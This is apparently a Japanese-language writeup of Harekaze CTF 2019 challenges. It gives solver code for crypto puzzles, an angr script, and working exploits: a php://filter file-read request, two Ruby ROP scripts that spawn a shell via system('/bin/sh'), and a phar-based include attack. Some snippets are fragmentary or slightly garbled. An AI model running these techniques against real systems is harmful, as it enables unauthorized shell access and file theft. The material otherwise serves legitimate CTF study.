Posted at

# Harekaze CTF 2019 Writeup

## ONCE UPON A TIME (Crypto 100pts)

Mod 251の上で連立方程式を解く。左から掛けたか右から掛けたかは分からないので両方試す。

```enc = 'ea5929e97ef77806bb43ec303f304673de19f7e68eddc347f3373ee4c0b662bc37764f74cbb8bb9219e7b5dbc59ca4a42018'
enc = enc.decode('hex')
G = GF(251)
M = Matrix(G, 5)
for i in xrange(0,25):
M[i // 5, i % 5] = ord(enc[i])

m2 = [[1,3,2,9,4], [0,2,7,8,4], [3,4,1,9,4], [6,5,3,-1,4], [1,4,5,3,5]]
m2 = Matrix(G, m2)
ret= ''
for row in M / m2:
ret += ''.join(map(lambda a: chr(int(a)), list(row)))

M = Matrix(G, 5)
for i in xrange(0,25):
M[i // 5, i % 5] = ord(enc[i + 25])

m2 = [[1,3,2,9,4], [0,2,7,8,4], [3,4,1,9,4], [6,5,3,-1,4], [1,4,5,3,5]]
m2 = Matrix(G, m2)
for row in M / m2:
ret += ''.join(map(lambda a: chr(int(a)), list(row)))
print(ret)
```

```\$ sage solve.sage
Op3n_y0ur_3y3s_1ook_up_t0_th3_ski3s_4nd_s33%%%%%%%
```

## Scramble (Reverse 100pts)

とりあえずangrに投げてみたらフラグが出た。

```import angr

project = angr.Project('./scramble')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

for state in states:
flag = b"".join(state.posix.stdin.concretize())
print(flag)
```

```(angr) angr@4a3bbfa7af32:/work\$ python solve.py
b'\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xc9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9Y\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'@ardJ`0D\x00D\x02\x1b\x13J"\x00y\x1bh\x04\x02\x00h\x00\x00\x00\x01\x01\x00\x04\x0c\xa0\x01\x00\x00\x01\x01\x01'
b'Harek!:eBTF{3nj0y\x1bh\x04b3k0p\x11_a7f]2\x101\x19!\x01\x14'
b'Harek!zeCTF{3nj0y[h\$r3k0x3_c7f]2019!\x01\x15'
b'HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}'
```

## Encode & Encode (Web 100pts)

```\$ curl -s http://153.127.202.154:1001/query.php -H "Content-Type: application/json" -d '{"page":"\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067"}' | jq -r .content | base64 -d
HarekazeCTF{turutara_tattatta_ritta}
```

## Baby ROP (pwn 100pts)

バイナリに`"/bin/sh"`が用意されているので、それを`pop rdi`してからsystemを呼び出す。

```rp = [0x00400683, # pop rdi
0x601048, #/bin/sh
0x4005e3 # system
].pack("Q*")
require 'ctf'

TCPSocket.open(*ARGV) do |s|
s.echo = true
s.print 'a' * 24 + rp
s.puts
s.flush

s.interactive!
end
```

```\$ ruby exploit.rb problem.harekaze.com 20001
```

## Baby ROP 2 (pwn 200pts)

2回目のROPで、libcのアドレスを利用してsystem("/bin/sh")を実行する。

```rp = [0, 0x00400733, 0x601020 , 0x4004f0, 0x400636].pack("Q*")
require 'ctf'

TCPSocket.open(*ARGV) do |s|
s.echo = true
s.puts 'a' * 32 + rp
s.flush
s.expect("H!\n")
lc = s.expect(/What/)[0]
libc_base = ((lc[0...-4] + "\0" * 8).unpack1('q') - read_ptr)
rp = [0, 0x00400733, 0x0018cd57 + libc_base, 0x0000000000045390 + libc_base].pack('Q*')

s.puts 'a' * 32 + rp
s.flush

s.interactive!
end
```

```\$ ruby exploit.rb problem.harekaze.com 20005
```

## show me your private key(Crypto 200pts)

Crypto.PublicKey.RSAのconstructを利用することで、n, e, dからRSAの素因数p, qが得られる。

mod pに対しては位数から1/e乗は簡単にできるので、計算するとフラグが得られる。フラグがmod pより大きい場合はmod qも求めてCRTすれば良い。

```from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA

(n, e, d) = (9799080661501467884467225188078342742766492539290ls954649052326288545249523485259554498055327101620585612049935019772095457875188392850174807669467113561703L, 65537, 357800937225887859492043729115941745631326069953205890949878950951199812467762505076908807818483545413271956081271375834809278508559178715879283048960953)
Cx = 4143446088312921816758362264853048120154280049677909632349103364802575463576509561464947871773793787896063253331418475283720886100034333135184249344102365
Cy = 8384037709829308179633895299138296616530497125381624381678499818112417287445046103971322133573513084823937517071462947639275474462359445732327289575301489
key = RSA.construct((long(n), long(e), long(d)))
p = key.p
b = (pow(Cy, 2, n) - pow(Cx, 3,n)) % p

EC = EllipticCurve(Zmod(p), [0, b])
pt = (EC([Cx,Cy])) * (Mod(e, EC.order())^-1).lift()
print long_to_bytes(pt[1]) + long_to_bytes(pt[0])
```

```\$ sage solve.sage
HarekazeCTF{dynamit3_with_a_las3r_b3am}
```

まず最初のプログラムで問題を解いて9のハッシュ値を取得した。

```first = '5998685417598565999201814640000000000000000'
while true
answer = first[5, 4].to_i + first[19, 4].to_i
puts first
STDOUT.flush
end
```

```T = [5676567,  858051, 5476703,  265259,
4058727, 5112531,  964143, 1099579,
8277687, 8717411, 2022783, 7207499,
1997447, 5864691,  828623, 3917019]

def hash2()
d = '2221469830161720618728037424000000000000009'
v = d.chars.each_slice(7).map{|a|a.join.to_i}[0, 4]
i = 7
2.times do
s = 9999999
k = T[i%16]
a = v[1 + i % 3]
b = v[1 + (i + 1) % 3]
c = v[1 + (i + 2) % 3]
d = (a * b + b * c + s * c ^ k) % 10000000
v = [(d + v[1]) % 10000000, (d | v[2]) % 10000000, (d * v[3]) % 10000000, d]
i += 1
end
v.map{|a|'%07d' % a}.join
end

p hash2 + '9' * 15
```

## [a-z().] (Misc 400pts)

``` eval.name.sub().repeat(eval.name.sub().slice(eval.name.length).length).concat(eval.length).concat(eval.length).repeat(eval.name.concat(eval.name).length).concat(eval.length).length ```

## Now We Can Play!! (Crypto 200pts)

```require 'ctf'
include CTF::Math
TCPSocket.open(*ARGV) do |s|
s.echo = true
p = s.expect(/(\d+)L/)[1].to_i
c = s.expect(/\((\d+)L, (\d+)L\)/)[1, 2].map{|a|a.to_i}
s.puts c[0]
s.puts c[1]
d = s.expect(/(\d+)L/)[1].to_i

inv = mod_inverse(3, p)
d = d * inv.pow(2**16, p) % p
((2**16)..(2**17)).each do |i|
d = d * inv % p
if [d.to_s(16)].pack("H*").start_with?('Harekaze')
puts [d.to_s(16)].pack("H*")
end
end
end
```

```\$ ruby solve.rb problem.harekaze.com 30002
HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}
```

## Avatar Uploader 1 (Misc 100pts)

PHPの `getimagesize` で PNGにならずに `mimeinfo` でPNGになるようなファイルを探す問題。

`mimeinfo`はlibmagicを画像ファイルの判定に利用し、`getimagesize`はPHPの独自の判定ルーチンで画像を特定する。

getimagesizeの方のソースコードを読んでみると、https://github.com/php/php-src/blob/879cd0491399ccfacac0d6ed701d998a65a6cc97/ext/standard/image.c#L323 適当な長さで切ってやれば`mimeinfo`と異なる結果を返しそうに見えるので、送信してみたところフラグが得られた。

``` \$ xxd test2.png 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 00000010: 0000 00b4 0000 00b4 ........ ```

## Avatar Uploader 2 (Web 300pts)

ヒントにあった通り、セッションの署名に`password_hash` が利用されていて、PASSWORD_BCRYPTは最大72文字に切り詰められる。これを利用して、セッションのJSONをコントロールできる。

public/lib/session.php

```    57      return password_hash(\$this->secret . \$string, PASSWORD_BCRYPT);
```

セッションのコントロールによって、次のテーマ読み込み箇所で任意の文字列をincludeさせることができるようになるが、最後に'.css'となるファイルはアップロードできない。

public/index.php

```    25  <?php include(\$session->get('theme', 'light') . '.css'); ?>
```

```<?php
\$phar = new Phar('exploit.phar');
\$phar->startBuffering();

\$phar->setStub(\$bin . '<?php __HALT_COMPILER(); ? >');
\$fp = fopen('img/hoge.css', 'rb');
\$phar['hoge.css'] = \$fp;
\$phar->stopBuffering();
```

## twenty-five (Crypto 100pts)

ただし、問題で渡される`reserved.txt`は何故か不完全で

```def check2(word, dict)
dict.each do |d|
if d.size == word.size
ok = true
word.size.times do |i|
next if word[i] == '?'
if word[i] != d[i]
ok = false
break
end
end
return true if ok
end
end
return false
end

def check(cry, dict, sub)
cry.all?{|a| check2(a.tr('abcdefghijklmnopqrstuvwxy', sub), dict)}
end

def solve(cry, dict, sub='?'*25)
idx = [*0..25].select{|i|sub[i] == '?'}.first
ret = nil
if idx
25.times do |i|
next_sub = sub.dup
next_sub[idx] = (?a.ord + i).chr
cc = next_sub.gsub('?', '').chars
next if cc.sort.uniq != cc.sort
ret ||= solve(cry, dict, next_sub) if check(cry, dict, next_sub)
end
return ret
else
return sub
end
end